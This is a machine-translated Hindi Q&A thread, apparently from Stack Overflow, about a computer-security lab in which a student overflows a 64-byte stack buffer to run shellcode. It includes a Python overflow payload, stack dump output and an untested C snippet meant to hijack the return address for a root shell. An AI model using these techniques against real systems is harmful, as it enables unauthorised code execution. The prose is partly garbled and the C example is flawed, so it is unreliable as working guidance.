2013-05-01 11 views
5

निष्पादित करने के लिए।बफर अतिप्रवाह का उपयोग करते हुए मैं कंप्यूटर सुरक्षा हाल ही में सीखने किया गया है और एक जोड़ी समस्याओं के पार चलो, और मैं विशेष रूप से इस एक के साथ कुछ समस्या हो रही है खोल कोड

मुझे एक निश्चित बफर के साथ एक फ़ंक्शन दिया गया है जिसे फ़ाइल शेलकोड में शेलकोड निष्पादित करने के लिए मुझे ओवरफ़्लो करने की आवश्यकता है। आदेश का पता लगाने और उसे निष्पादित क्या shellcode फ़ाइल में है करने के लिए,,

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

मेरे प्रारंभिक अनुमान वापसी पता संशोधित करने के लिए था EIP समारोह की, लेकिन मैं महसूस किया कि मैं है नहीं: समारोह काफी सरल है फ़ाइल में पता मैं एक हेक्साडेसिमल मान में प्रतिनिधित्व कर सकते हैं। मैं कर रहा हूँ यकीन है कि मैं वापसी पता हेरफेर करने के लिए की जरूरत है, इसलिए वर्तमान में क्या मैं फोन कर रहा हूँ है:

//the string is passed as a command line arg 
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ") 

मेरी उत्पादन होता है:

Stack dump: 
0xffffd600: 0xffffd7fd (first argument) 
0xffffd5fc: 0x08048653 (saved eip) 
0xffffd5f8: 0xffffd641 (saved ebp) 
0xffffd5f4: 0x41414141 
0xffffd5f0: 0x41414141 
0xffffd5ec: 0x41414141 
0xffffd5e8: 0x41414141 
0xffffd5e4: 0x41414141 
0xffffd5e0: 0x41414141 
0xffffd5dc: 0x41414141 
0xffffd5d8: 0x41414141 
0xffffd5d4: 0x41414141 
0xffffd5d0: 0x41414141 
0xffffd5cc: 0x41414141 
0xffffd5c8: 0x41414141 
0xffffd5c4: 0x41414141 
0xffffd5c0: 0x41414141 
0xffffd5bc: 0x41414141 
0xffffd5b8: 0x41414141 
0xffffd5b4: 0x41414141 
0xffffd5b0: 0x41414141 (beginning of buffer) 
Segmentation fault 

अजगर स्क्रिप्ट बस प्रिंट 72 पत्र एक के लिए , ईडीपी और EIP की बात करने के बफर अतिप्रवाह के बाद मैं अतिरिक्त पते के साथ ईडीपी के पते बदल सकते हैं और, यह हेरफेर करने के लिए तैयार वापसी पता पर पहुंचें। किसी भी मदद की वास्तव में सराहना की है, धन्यवाद!

+6

क्या आपने कोड को '-really-no-protection' और '-मेक-मी-कमजोर-टू-सब कुछ' झंडे के साथ संकलित किया है? आजकल उस शोषण के लिए जरूरी है। –

+0

@ डैनियल फिशर हां, मैंने पिछले कंप्यूटर सुरक्षा कार्यक्रमों को सही तरीके से संकलित किया है और बिना किसी समस्या के उन्हें बहने में सक्षम हैं। मुझे पता है कि मेरा प्रोग्राम इरादे –

+0

के रूप में चल रहा है ठीक है, बस स्पष्ट संदिग्ध की जांच कर रहा है। –

उत्तर

12

ठीक है, मुझे लगता है कि यह कंप्यूटर सिस्टम में एक बफर ओवरफ्लो लैब की तरह है: एक प्रोग्रामर का परिप्रेक्ष्य। सबसे पहले, स्थिर पता प्राप्त करने के लिए objdump का उपयोग करें। दूसरा, स्टैक के पते को जानने के लिए इसे gdb के साथ चलाएं। फिर, इस तरह के एक स्ट्रिंग है कि बफर करने के लिए वापसी पता अधिलेखित कर देता है (ताकि आप कोड का फायदा उठाने के रख सकते हैं, वैकल्पिक रूप से, आप कार्यक्रम में अन्य कोड आह्वान सकता) के साथ बफर भरें।

चेक बाहर इस pdf जो इस प्रयोगशाला के लिए एक गाइड के रूप में कार्य करता है। यह आपको कुछ अंतर्दृष्टि प्रदान कर सकता है।

रूप को दिखाया गया है, संकलन समय झंडे के बहुत सारे इस लक्ष्य को हासिल करने के लिए आवश्यक हैं। (मैं जांचता हूं कि कौन सा और जल्द ही वापस आ जाएगा)। वैकल्पिक रूप से, this पोस्ट इस तरह के एक उदाहरण को संकलित करने के तरीके पर एक गाइड प्रदान करता है।

0

यह मुश्किल जब आप जानते हैं जहाँ भी देखो, की तरह खुले एप्लिकेशन डब्ल्यू/gdb से पहले कहा नहीं है। आर (संयुक्त) यह। फिर मैं (एनएफओ) आर (egisters) यह देखने के लिए कि यह क्यों दुर्घटनाग्रस्त हो गया। अलग-अलग भी बहुत उपयोगी है।

इसके अलावा, (मुझे लगता है तुम यह जानते हो):

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

वास्तव में

void vuln(char *str) { 
    void *return; 
    char buf[64]; 

    /* Set Return value and store stack */ 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
    /* restore stack and jmp to return value. */ 
} 
2

मेरे प्रारंभिक अनुमान के क्रम में, वापसी पता, EIP संशोधित करने के लिए था समारोह की है शेलकोड फ़ाइल में क्या है, उसे ढूंढने और निष्पादित करने के लिए, लेकिन मुझे एहसास हुआ कि मेरे पास उस फ़ाइल में कोई पता नहीं है जिसे मैं हेक्साडेसिमल मान में प्रस्तुत कर सकता हूं।

आप आरईटी पते को संशोधित करना चाहते हैं ताकि जब कार्य समाप्त हो जाए तो यह अपने कॉलर पर वापस नहीं आता है बल्कि आपके शेलकोड की शुरुआत में आता है।

((एक शेलकोड क्या है इसका एक संक्षिप्त अवलोकन के रूप में, यह असेंबली निर्देशों का एक सेट है (इसलिए आप कमजोर प्रक्रिया को निष्पादित करने वाले प्लेटफ़ॉर्म पर भारी निर्भर करते हैं) जो एक खोल (आमतौर पर एक रूट खोल) निष्पादित करता है जिससे आपको छोड़ दिया जाता है एक अच्छा वातावरण जिसका आप शोषण कर सकते हैं।))

अब वापस, आप अपने शेलकोड में पहले असेंबली निर्देश पर आरईटी को इंगित करना चाहते हैं। अजीब बिट यह है कि आपके पास इसे एक अलग फ़ाइल में है। क्या यह आवश्यक है?

char shellcode[] = "\x90\x90\x90..."; 


int main() 
{ 
     /* 
     * huge string (like your 72 A's) that appends the address of the 
     * shellcode at the right address (in your case I think it's 64 + 4) 
     */ 
     char evilstring[100]; 

     /* Fill the buf and the EBP with A's */ 
     for (int i = 0; i < 64 + 4; i++) { 
       evilstring[i] = 'A'; 
     } 
     /* And the RET with the address of your shellcode */ 
     sprintf(&evilstring[68], "%p", &shellcode[0]); 
     vuln(evilstring); 
     /* you should have a shell now */ 

     /* NOTREACHED */ 
     return 0; 
} 

जब आपके समारोह रिटर्न, यह shellcode [] स्ट्रिंग के पते पर वापस आती है और उसे वहाँ से क्रियान्वित करने निर्देश जारी है तो अब,:

कैसे यह आम तौर पर किया जाता है आप कुछ इस तरह होता है। आप जो चाहते हैं वह है। क्योंकि वे निर्देश आपको रूट खोल देते हैं (या जो भी यह है कि आपका शेलकोड करता है)।

कृपया ध्यान दें कि उपर्युक्त उदाहरण कोड है, यह परीक्षण संकलित भी नहीं है।

अगर मुझे आपकी समस्या नहीं आती है या यदि मैंने पर्याप्त रूप से पर्याप्त व्याख्या नहीं की है, तो कृपया बेझिझक पूछें।

1
char buff[20]; 
unsigned int pass = 0; 

जब 'बफ' ओवरफ्लोउन हो जाता है, तो अतिरिक्त इनपुट 'पास' को 0 से बड़ा में बदल देता है, इसे 'सत्य' मान बनाता है।

संबंधित मुद्दे